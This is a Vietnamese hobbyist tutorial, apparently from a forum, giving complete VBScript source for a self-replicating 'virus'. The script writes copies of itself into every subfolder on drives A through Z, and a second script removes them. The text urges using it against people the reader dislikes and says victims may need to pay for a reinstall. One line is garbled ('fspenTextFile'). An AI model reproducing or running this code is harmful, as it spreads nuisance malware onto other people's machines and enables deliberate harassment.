Tạo 1 Virus Vui mà cực hiểm bằng Notepad

Tạo 1 Virus Vui mà cực hiểm bằng Notepad

Với con virus này sẽ làm người bị hại nhứt đầu vì nó là 1 virus nhân bản.
Khi bấm vào thì virus sẻ tràn ngập ở tất cả các File mà trong máy tính có.
Nhưng tác hại nó gây ra không nhìu nhưng chủ yếu là bực mình.
Chú ý: khi tạo nó thì đừng click vào

Vào Start ---> Run----> gõ Notepad
Rồi copy code này vào:

'Thuoc Doc !!!
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fspenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:")
FolderList("B:")
FolderList("C:")
FolderList("D:")
FolderList("E:")
FolderList("F:")
FolderList("G:")
FolderList("H:")
FolderList("I:")
FolderList("J:")
FolderList("K:")
FolderList("L:")
FolderList("M:")
FolderList("N:")
FolderList("O:")
FolderList("P:")
FolderList("Q:")
FolderList("R:")
FolderList("S:")
FolderList("T:")
FolderList("U:")
FolderList("V:")
FolderList("X:")
FolderList("Y:")
FolderList("Z:")
FolderList("W:")

Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders
For Each f1 In sf
Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")
COP.write VBCopy
Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
CAP.write VBCopy
FolderList(f1.Path)
Next
End sub


Seve với tên bất kì nhưng lưu dưới dạng *.vbs ( VD: dungbamvao.vbs )

Quả quýt dày cũng có ngón tay nhọn
Dù có nguy hiểm cỡ nào thì cũng có cách giải . Làm Theo cách sau

Cũng làm như vậy nhưng khi mở Notepad lên thì copy code này:

'Thuoc Giai
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fspenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:")
FolderList("B:")
FolderList("C:")
FolderList("D:")
FolderList("E:")
FolderList("F:")
FolderList("G:")
FolderList("H:")
FolderList("I:")
FolderList("J:")
FolderList("K:")
FolderList("L:")
FolderList("M:")
FolderList("N:")
FolderList("O:")
FolderList("P:")
FolderList("Q:")
FolderList("R:")
FolderList("S:")
FolderList("T:")
FolderList("U:")
FolderList("V:")
FolderList("X:")
FolderList("Y:")
FolderList("Z:")
FolderList("W:")

Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP,ATT
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders
For Each f1 In sf
'Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")
'COP.write VBCopy
'Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
'CAP.write VBCopy
'Set ATT=fso.GetFolder(f1.Path)
'ATT.Attributes=ATT.Attributes+2
fso.DeleteFile(f1.path & "\Virus !!!!!!!.vbs")
fso.DeleteFile(f1.path & "---Virus !!!!!!!.vbs")
FolderList(f1.Path)
Next
End sub

Cũng seve lại với dịnh dạng là *.vbs

Hãy làm cái này với người mình ghét thui nha. Vì khi gà gặp con này thì chắc tốn 50 ngàn cai lai chuong trình rồi.
Khuyến cáo : nếu muốn thử thì tốt nhất là ra Net vì dù ở nhà có trương trình diệt virus tốt cách nào thì cũng như ko.

Chào Tạm Biệt Và Chúc may Mắn. Và cũng chia buồn cho ai gạp con virus này